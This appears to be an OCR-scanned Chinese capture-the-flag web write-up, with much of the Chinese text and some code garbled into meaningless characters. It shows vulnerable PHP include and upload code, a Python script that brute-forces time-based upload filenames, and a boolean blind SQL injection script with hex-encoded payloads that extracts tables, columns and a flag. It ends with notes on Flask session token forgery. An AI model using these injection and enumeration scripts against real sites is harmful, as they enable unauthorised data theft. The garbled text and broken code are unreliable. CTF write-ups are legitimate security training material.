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index.php

if(isset($_GET['page )X

if(!stristr($_GET['page',".."){ // page A~ &g

$page = $_GET['page'].".php"; // B3Ii0.php

include($page);

else{

header("Location: index.php?page=login");

}

lelse{
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http://creativecommons.org/licenses/by-sa/4.0/
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header("Location: index.php?page=login");

}

string stristr ( string $haystack , mixed $needle [, bool $before needle = FALSE ])
IR [H] haystack F£F &8 M needle 3 — R HIIAL BT M6 BIZ R FRFH

S

haystack

EZFAEPER.

needle

1R needle NRE—NFRFE, WA TR G AR BN FRFIFE

before _needle

# N TRUE, strstr() ¥i&[E] needle 7£ haystack {41 B 2 8 I3 2 (R EHE needle).
Z4 needle 1 haystack ¥ LLA X 53 K/N5 B 75 R
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login.php

Login Form
if(isset($_POST['username'))&&isset($_POST['passwordT)){

header("Location: index.php?page=upload");
exit();

}

?>

login
$:% Btupload
upload.php

Upload Form

$error =",

$exts = array('jpg","png","gif","ipeg");

if(lempty($_FILES["image"))

{

$temp = explode(".", $_FILES["image"|["name"]); # 43 F& ST 1t 4% 1 J5 2%



$extension = end($temp); # B 5 5%

if((@$_upfileS["image"|["size"] < 102400))

{

if(in_array($extension,$exts)X

$path = "uploads/".md5($temp[0].time()).".".$extension; # i 14
move_uploaded_file($_FILES["image"|["tmp_name"], $path); # Mkt 34 % 5h B path
$error = " L& RN,

}

else{

$error = " AR R

}

Jelse{

$error = "SR, EARKRM!

}

}
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#!/usr/bin/env python

# -*- coding:utf-8 -*-

# @Author:iSk2y

import requests

import hashlib

import time

def filename_md5(t):



m = hashlib.md5()

m.update((‘test' + str(t)).encode())

return m.hexdigest()

url = 'http://101.71.29.5:10007/'

files = {

image": ('test.jpg', open('test.jpg’, 'rb'),'multipart/form-data’)
}

upload_time = int(time.time()+8*3600)

r = requests.post(url=url + 'upload.php’, files=files)

for i in range(upload_time-50, upload_time+50):

path = url + 'uploads/' + filename_md5(i) + ".jpg'

code = requests.get(path).status_code

if code == 200:

print(path)

break
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mysql> select database();

1 row in set (0.00 sec)
mysql> select database() between 'a' and 'z

+ +

| database() between 'a' and 'Z' |

+ +
| 1]

+ +

1 row in set (0.01 sec)

mysql> select database() between 'p' and 'Z;



+ +

| database() between 'p' and 'Z |

+ +
| 1]

+ +

1 row in set (0.00 sec)

mysql> select database() between 'q' and 'Z;

+ +

| database() between 'q' and 'Z |

+ +

10|

+ +

1 row in set (0.00 sec)
mysql> select database() between 'pr' and 'Z;

+ +

| database() between 'pr' and 'Z' |

+ +

| 11

+ +

1 row in set (0.00 sec)
mysql> select database() between 'ps' and 'Z;

+ +

| database() between 'ps' and 'Z |

+ +

| 0]

+ +

1 row in set (0.00 sec)
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#!/usr/bin/env python

-*- coding:utf-8 -*-



# @Author:iSk2y

import requests

import string

import binascii

c = ',"+string.digits + string.ascii_lowercase + {|}~'

# 0123456789abcdefghijkimnopgrstuvwxyz

url = 'http://101.71.29.5:10008/show.php'

res="

# AAEE KN A RA £ K 5008

for len in range(1,50):

# R FHF

foriin c[::-1]:

diff = '0X' + binascii.b2a_hex((res + i).encode()).decode()

# FE4: web webThexZ0x776562

# payload = '?id=1 and (select database() between {0} and {1})'.format(diff,hex(ord('z')))
# £4N: admin,flaggg,menu flagggiihex0x666C61676767

# payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT (table_name) FROM information_schema
.TABLES WHERE TABLE_SCHEMA between 0x776562 and 0x776562) between {0} and
{1})'.format(diff,hex(ord('~")))

# 7B 4%: idflagg

# payload = '?id=1 and (SELECT(SELECT GROUP_CONCAT (column_name) FROM information_schema
.COLUMNS WHERE TABLE_NAME between 0x666C61676767 and 0x666C61676767) between {0} and
{1})".format(diff,hex(ord('~")))

payload = "?id=1 and (select (select flagg FROM web.flaggg) between {0} and {1})'.format(diff,hex(ord('Z)))
# print(payload)

payload = '%0A"join(payload.split(' "))

# print(payload)

r = requests.get(url=url + payload)

if Y2 in r.text:

# A Hrik KRR IEH

res +=i

# print(res)

break



elif "R " in r.text:
# RFHR
continue

else:

print(r.text)

print(res)

image.png

image.png

image.png
flag{5d6352163c30ba51f1e2c0dd08622428}
interesting-web

flaskE B A K#R, F T BEwp, XERHEcookieF sessionfitoken 2k Eladminf %% . admin®] bA&
FJE _Efetar A& RERpgE A, flaguh7E/etc/passwd Fi PAI VR 3GE BB I E B IF T -

FIBRIAZE, H—RKILRENES.

S EBEANRERE, BREFHEK R,

I [E 1Y £t token &K % B VR vE M (% fiptth bk, AT ULE SRR T, BIFHE &SN Kip.
X AMokenH SE2 A ATHE H R, 7217 [Rlreseth), M firesponse: K ikset-cookie,

image.png
¥4 session base64decode—F

eyJsb2dpbil6dHJ1ZSwidG9rZWA4iOnsilGliOiJPROSr'WKRRM11gSmpORFEZT 1RVMO5XWmIORFJoT0dNek5UU

4 T | r

{

"login": true,

"token™: {

" b": "OGNkZDQ3YjJjNDQ3OTU3NWZINDRhOGMzNT QzOWQwN2I="

3

"username"; "test2"

}
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OGNkZDQ3Y]jJNDQ3OTU3SNWZINDRhOGMzNT QzOWQwN2I=
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